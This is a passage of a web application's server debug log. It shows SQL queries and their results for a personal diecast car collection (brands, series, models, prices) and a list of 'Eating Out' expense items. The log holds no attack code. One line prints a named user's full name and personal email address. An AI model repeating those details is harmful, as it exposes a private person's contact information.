    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-24T13:38:11.625Z server-connect:output restrict: undefined
2026-02-24T13:38:11.625Z server-connect:app Executing action step select
2026-02-24T13:38:11.625Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-24T13:38:11.626Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-24T13:38:11.626Z server-connect:output restrict: undefined
2026-02-24T13:38:11.626Z server-connect:app Executing action step select
2026-02-24T13:38:11.626Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-24T13:38:11.627Z server-connect:output restrict: undefined
2026-02-24T13:38:11.627Z server-connect:app Executing action step paged
2026-02-24T13:38:11.627Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-24T13:38:11.628Z server-connect:output restrict: undefined
2026-02-24T13:38:11.628Z server-connect:app Executing action step select
2026-02-24T13:38:11.628Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-24T13:38:11.630Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-24T13:38:11.632Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-02-24T13:38:11.635Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 },
  { name: 'Alpine', id: 196 },
  { name: 'Lexus', id: 197 }
]
2026-02-24T13:38:11.636Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-24T13:38:11.637Z server-connect:app Executing action step identify
2026-02-24T13:38:11.637Z server-connect:app options: { provider: 'security' }
2026-02-24T13:38:11.637Z server-connect:output identity: 1
2026-02-24T13:38:11.637Z server-connect:app Executing action step restrict
2026-02-24T13:38:11.637Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T13:38:11.638Z server-connect:output restrict: undefined
2026-02-24T13:38:11.638Z server-connect:app Executing action step select
2026-02-24T13:38:11.638Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-24T13:38:11.641Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 167,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 190,
      model_name: '2021 Lexus LC 500',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Lexus',
      vehicle_brand_id: 197,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 189,
      model_name: 'Porsche 911 Targa',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: '',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 188,
      model_name: 'Ford Bronco',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 187,
      model_name: 'Ford F-150 Raptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 186,
      model_name: 'Alfa Romeo Tonale',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 185,
      model_name: 'Volkswagen ID Buzz Cargo',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 184,
      model_name: 'Datsun 240Z',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 183,
      model_name: 'Alpine A110 R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alpine',
      vehicle_brand_id: 196,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 182,
      model_name: 'Audi Q4 e-tron',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    }
  ]
}
2026-02-24T13:38:11.642Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 196, name: 'Alpine' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 197, name: 'Lexus' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-24T13:38:11.642Z server-connect:app Executing action step select
2026-02-24T13:38:11.642Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-24T13:38:11.643Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
